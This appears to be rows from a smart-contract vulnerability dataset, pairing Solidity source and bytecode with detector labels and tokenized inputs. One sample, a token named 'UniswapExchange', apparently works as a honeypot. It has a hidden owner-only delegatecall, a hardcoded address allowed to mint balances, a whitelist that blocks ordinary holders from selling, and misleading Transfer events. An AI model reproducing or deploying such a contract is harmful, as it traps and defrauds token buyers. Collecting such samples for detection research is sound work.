{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 2094, 16048, 2050, 2581, 2575, 2683, 20958, 2497, 16409, 2683, 2509, 4215, 2509, 2278, 2620, 2620, 2549, 4246, 2620, 2475, 2050, 28311, 2549, 2278, 2487, 2497, 8889, 22025, 2278, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 2128, 4765, 5521, 5666, 18405, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2008, 7126, 4652, 2128, 4765, 17884, 4455, 2000, 1037, 3853, 1012, 1008, 1008, 22490, 2075, 2013, 1036, 2128, 4765, 5521, 5666, 18405, 1036, 2097, 2191, 1996, 1063, 2512, 28029, 6494, 3372, 1065, 16913, 18095, 1008, 2800, 1010, 2029, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,885
0x978d20bc2a6767917c9f48c7a4c5e95961802453
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x6080604052600436106100dd5760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb146104ec578063aa2f522014610552578063d6d2b6ba1461062c578063dd62ed3e14610707576100dd565b806370a08231146103905780638cd8db8a146103f557806395d89b411461045c576100dd565b806318160ddd116100bb57806318160ddd1461024b57806321a9cf341461027657806323b872dd146102df578063313ce56714610365576100dd565b806306fdde03146100e2578063095ea7b314610172578063109b1ee6146101d8575b600080fd5b3480156100ee57600080fd5b506100f761078c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082a565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b50610231600480360360408110156101fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061091c565b604051808215151515815260200191505060405180910390f35b34801561025757600080fd5b50610260610a77565b6040518082815260200191505060405180910390f35b34801561028257600080fd5b506102c56004803603602081101561029957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a7d565b604051808215151515815260200191505060405180910390f35b61034b600480360360608110156102f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b23565b604051808215151515815260200191505060405180910390f35b34801561037157600080fd5b5061037a610e36565b6040518082815260200191505060405180910390f35b34801561039c57600080fd5b506103df600480360360208110156103b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e3b565b6040518082815260200191505060405180910390f35b34801561040157600080fd5b506104426004803603606081101561041857600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610e53565b604051808215151515815260200191505060405180910390f35b34801561046857600080fd5b50610471610ef7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b1578082015181840152602081019050610496565b50505050905090810190601f1680156104de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105386004803603604081101561050257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f95565b604051808215151515815260200191505060405180910390f35b6106126004803603604081101561056857600080fd5b810190808035906020019064010000000081111561058557600080fd5b82018360208201111561059757600080fd5b803590602001918460208302840111640100000000831117156105b957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610faa565b604051808215151515815260200191505060405180910390f35b6107056004803603604081101561064257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561067f57600080fd5b82018360208201111561069157600080fd5b803590602001918460018302840111640100000000831117156106b357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611213565b005b34801561071357600080fd5b506107766004803603604081101561072a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611324565b6040518082815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108225780601f106107f757610100808354040283529160200191610822565b820191906000526020600020905b81548152906001019060200180831161080557829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109b9575073ffeb8bb8436cb28ac727e3f7371981d7de7fcda973ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6109c257600080fd5b6000821115610a16576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60085481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ad957600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600080821415610b365760019050610e2f565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c7d5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610bf257600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b610c88848484611349565b610c9157600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cdd57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b60066020528060005260406000206000915090505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eaf57600080fd5b60008311610ebe576000610ec6565b6012600a0a83025b60028190555060008211610edb576000610ee3565b6012600a0a82025b600381905550836004819055509392505050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f8d5780601f10610f6257610100808354040283529160200191610f8d565b820191906000526020600020905b815481529060010190602001808311610f7057829003601f168201915b505050505081565b6000610fa2338484610b23565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461100657600080fd5b600083518302905080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561105a57600080fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060008090505b84518110156112075760008582815181106110c457fe5b6020026020010151905084600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002888161117457fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600288816111e357fe5b046040518082815260200191505060405180910390a35080806001019150506110ad565b50600191505092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461126d57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16816040518082805190602001908083835b602083106112b85780518252602082019150602081019050602083039250611295565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114611318576040519150601f19603f3d011682016040523d82523d6000602084013e61131d565b606091505b5050505050565b6007602052816000526040600020602052806000526040600020600091509150505481565b60008061137f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230611585565b9050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148061142a5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806114745750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806114aa57508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806115025750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806115565750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561156557600191505061157e565b61156f8584611713565b61157857600080fd5b60019150505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106115c45783856115c7565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060045414801561172857506000600254145b801561173657506000600354145b1561174457600090506117e3565b600060045411156117a0576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061179f57600090506117e3565b5b600060025411156117bf578160025411156117be57600090506117e3565b5b600060035411156117de576003548211156117dd57600090506117e3565b5b600190505b9291505056fea265627a7a7231582070eedf864fe7fbcb4093fbef927bf91cf9427a6d878e0815d0dc93127b1abbf464736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'controlled-delegatecall', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-lowlevel', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 2094, 11387, 9818, 2475, 2050, 2575, 2581, 2575, 2581, 2683, 16576, 2278, 2683, 2546, 18139, 2278, 2581, 2050, 2549, 2278, 2629, 2063, 2683, 28154, 2575, 15136, 2692, 18827, 22275, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 2459, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 3815, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,886
0x978dB04870E771474d46E49C43738520C6d1BB23
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 